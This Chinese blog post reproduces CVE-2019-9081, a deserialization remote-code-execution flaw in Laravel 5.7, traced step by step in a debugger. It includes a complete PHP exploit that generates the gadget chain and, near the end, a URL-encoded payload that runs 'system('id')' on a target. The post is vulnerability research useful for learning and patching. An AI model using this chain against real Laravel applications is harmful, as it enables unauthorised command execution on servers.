Laravel入坑之CVE-2019-9081复现分析

2019-07-01 约 207 字 预计阅读 1 分钟

声明:本文 【Laravel入坑之CVE-2019-9081复现分析】 由作者 我怎么这么帅 于 2019-07-02 06:01:00 首发 先知社区 曾经 浏览数 1 次

感谢 我怎么这么帅 的辛苦付出!

背景

  最近在学习Laravel框架的代码审计,恰好通过qwb线下的一道web了解到CVE-2019-9081,便详细地结合exp并利用断点跟踪对漏洞进行了复现分析,从中也学到了不少PHP开发以及Laravel框架的知识,记录一下,希望对想入坑Laravel代码审计的师傅们有所帮助,如果哪里表述有误,请师傅们指出~

1.分析准备

1.1漏洞描述

  Laravel Framework是Taylor Otwell软件开发者开发的一款基于PHP的Web应用程序开发框架。Illuminate是其中的一个组件。Laravel Framework 5.7.x版本中的Illuminate组件存在反序列化漏洞,远程攻击者可利用该漏洞执行代码

1.2环境搭建

  因为Laravel要求PHP的版本 >= 7.1.3,ubuntu16.04默认php7.0版本,因此环境中使用的php版本为7.2,切换php版本命令如下

# 禁用 Apache 中的 PHP7.0
sudo a2dismod php7.0
# 启用 PHP7.2
sudo a2enmod php7.2
# 重启 Apache
sudo systemctl restart apache2.service

  之后看到下图即说明搭建成功

1.3漏洞文件描述

  漏洞出现在PendingCommand.php文件中,了解一个API用法的最快方式当然是查官方文档的函数说明去了解啦(Laravel5.7API函数说明)

  其中存在反序列化方法__destruct(),并且在其中调用了run函数来执行命令,那么思路就为通过反序列化该类的实例对象来调用run方法执行命令达到rce的效果

  因为要结合exp进行分析,因此先贴出exp

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
             )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                     )
             )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('id'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

  其中在PendingCommand的构造方法中要传入的关键四个变量如下所示,也是exp构造的关键,其中$command和$parameters也就是我们要执行的命令和参数

2.断点跟踪分析

  因为该漏洞存在与Laravel组件中,因此要基于Laravel进行二次开发后可能存在此反序列化漏洞,qwb题目中直接通过$_GET['code']传入的参数进行unserialize(),所以首先在unserialize()处下断点,执行exp生成的payload后将停在此处,此时F7步入unserialize函数进行分析

  按道理说现在下一步就是触发__destruct函数,但payload中要使用3个类,对于Laravel这种大型框架而言当然少不了一些处理步骤,在左下方的函数调用栈中发现出现了两处调用,首先调用spl_autoload_call()方法


  因为我们在payload中使用的类在Task控制器中并没有加载进来,因此便触发了PHP的自动加载的功能,也就是实现了 lazy loading,以加载类PendingCommand为例进行分析(其它所用到的类加载方式相同):关于PHP自动加载的相关描述可以参考(PHP 自动加载功能原理解析)
  首先是类AliasLoadder中load方法的调用,其中涉及到使用Laravel框架所带有的Facade功能去尝试加载我们payload中所需要的类,Facade描述如下

  在Laravel框架中判断的逻辑主要是有2条

  • 用户提供所要加载的类是不是其中包含"Facades",如果是则通过loadFacade()函数进行加载
  • 在Illuminate\Support\Facades命名空间中寻找是否含有用户所要加载的类


      如果通过load()方法没有加载成功,则会调用loadclass()函数进行加载,而loadclass()函数中通过调用findfile()函数去尝试通过Laravel中的composer的自动加载功能含有的classmap去尝试寻找要加载的类所对应的类文件位置,此时将会加载vendor目录中所有组件, 并生成namespace + classname的一个 key => value 的 php 数组来对所包含的文件来进行一个匹配




      找到类PendingCommand所对应的文件后,将通过includeFile()函数进行包含,从而完成类PendingCommand的整个加载流程,加载完所需要的类后,将进入destruct方法,此时hasExecuted属性默认为false,即还没有执行命令,所以此时才能调用run方法

    继续使用F7进入用于执行命令的run()函数进行分析

      在run方法中,首先要调用mockConsoleOutput()方法,该方法主要用于模拟应用程序的控制台输出,此时因为要加载类Mockery和类Arrayinput,所以又要通过spl_autoload_call->load->loadclass加载所需要的类,并且此时又会调用createABufferedOutputMock()函数

      按F7进入createABufferedOutputMock观察一下其内部的实现,其中又调用了Mockery的mock()函数,Mockery是一个简单而灵活的PHP模拟对象框架,在 Laravel 应用程序测试中,我们可能希望「模拟」应用程序的某些功能的行为,从而避免该部分在测试中真正执行。此时继续F7进入mock函数,进入以后直接F8单步执行即可,我们的目的只需要此段代码能够往下执行,在调试的过程中我感觉并不一定要搞清每个变量每个函数的作用,大型框架调用链实在是太长太复杂,并且只要它不出错能往下走就行

    ####2.1exp构造关键点1

      此时在createABufferedOutputMock()方法中要进入for循环,并且在其中要调用test的expectedOutput属性,然而在可以实例化的类中不存在expectedOutput属性(通过ctrl+shift+F即可进行全局搜索),只在一些测试类中存在,听马师傅说测试类一般不会去加载,所以构造pop链时一般不用测试类

      所以这里要用到php魔术方法中的一个小trick,也是经常在ctf题中可能遇到的,当访问一个类中不存在的属性时会触发
    get()方法,通过去触发get()方法去进一步构造pop链,而在Illuminate\Auth\GenericUser的get方法中存在以下逻辑

      而此时$this->test是Illuminate\Auth\GenericUser的实例化对象,其是我们传入的,那么其是可以控制的,即attributes属性也是我们可以控制的,那当发生$this->test->expectedOutput的调用时,我们只需要让attributes中存在键名为expectedOutput的数组,即数组中有内容就能够通过循环流程进行返回,继续F8单步执行即可跳出createABufferedOutputMock()方法

    此时回到mockConsoleOutput()函数中,又进行了一个循环遍历,调用了test对象的的expectedQuestions属性,里面的循环体与createABufferedOutputMock()函数的循环体相同,因此绕过方法也是通过调用__get()方法,设置一个键名为expectedQuestions的数组即可,此时将继续往下走,继续F8单步调试就可以return $mock,从而走出mockConsoleOutput()函数,接下来回到run函数中
    ####2.2exp构造关键点2

      此时到了触发rce的关键点, 其中出现了$this->app[Kernel::class]->call方法的调用,其中Kernel::class在这里是一个固定值Illuminate\Contracts\Console\Kernel,并且call的参数为我们所要执行的命令和命令参数($this->command, $this->parameters),那我们此时需要弄清$this->app[Kernal::class]返回的是哪个类的对象,使用F7步入程序内部进行分析

      直到得到以下的getConcrete的调用栈,此时继续F8单步执行到利用payload的语句,此时因为$this为Illuminate\Foundation\Application,bindings属性是Container类的,而这里也是payload中选择Applocation作为app参数值的原因,那么通过反序列化我们可以控制bindings属性,而此时$abstract为固定值,即只需要让$bindings为一个二维数组,其中键$abstract作为数组,其中存在键名为concrete,键值为我们想要实例化的类Application即可

      此时继续F8往下走,到了实例化Application类的时刻, 此时要满足isBuildable函数才可以进行build,因此F7步入查看

      此时$concrete为Application,而$abstract为kernal,显然不满足,并且||右边$concrete明显不是闭包类的实例化,所以此时不满足Application实例化条件,此时继续F7,此时将会调用make函数,并且此时将$abstract赋值为了Application,并且make函数又调用了resolve函数,即实现了第二次调用isBuildable()函数判断是否可以进行实例化,即此时已经可以成功实例化类Application,即完成了$this->app[Kernel::class]为Application对象的转化


      接下来将调用类Application中的call方法,即其父类Container中的call方法
    其中第一个分支isCallableWithAtSign()判断回调函数是否为字符串并且其中含有"@",并且$defaultMethod默认为null,显然此时不满足if条件,即进入第二个分支,callBoundMethod()函数的调用

      其中第一个分支isCallableWithAtSign()判断回调函数是否为字符串并且其中含有"@“,并且$defaultMethod默认为null,显然此时不满足if条件,即进入第二个分支,callBoundMethod()函数的调用

      在callBoundMethod()函数中将调用call_user_func_array()函数来执行最终的命令,首先$callback为"system",参数为静态方法getMethodDependencies()函数的返回值,F7步入看看

      在return处可以看到此时调用array_merge函数将$dependencies数组和$parameters数组进行合并,但是$dependencies数组为空,因此对我们要执行命令的参数不产生影响,即在此步返回将执行命令,即完成
    call_user_func_array('system',array('id'))
    
      此时run函数中$exitcode值即为命令的执行结果

    ###3.攻击效果
    payload:
    http://localhost/laravel-5.7/public/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D
    

    ###参考
    1.https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
    2.https://www.jianshu.com/p/a7838a89f2f9
    3.https://learnku.com/docs/laravel/5.7/facades/2251
    4.https://learnku.com/articles/12575/deep-analysis-of-the-laravel-service-container
    5.https://laravel.com/docs/5.7/structure#the-tests-directory

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now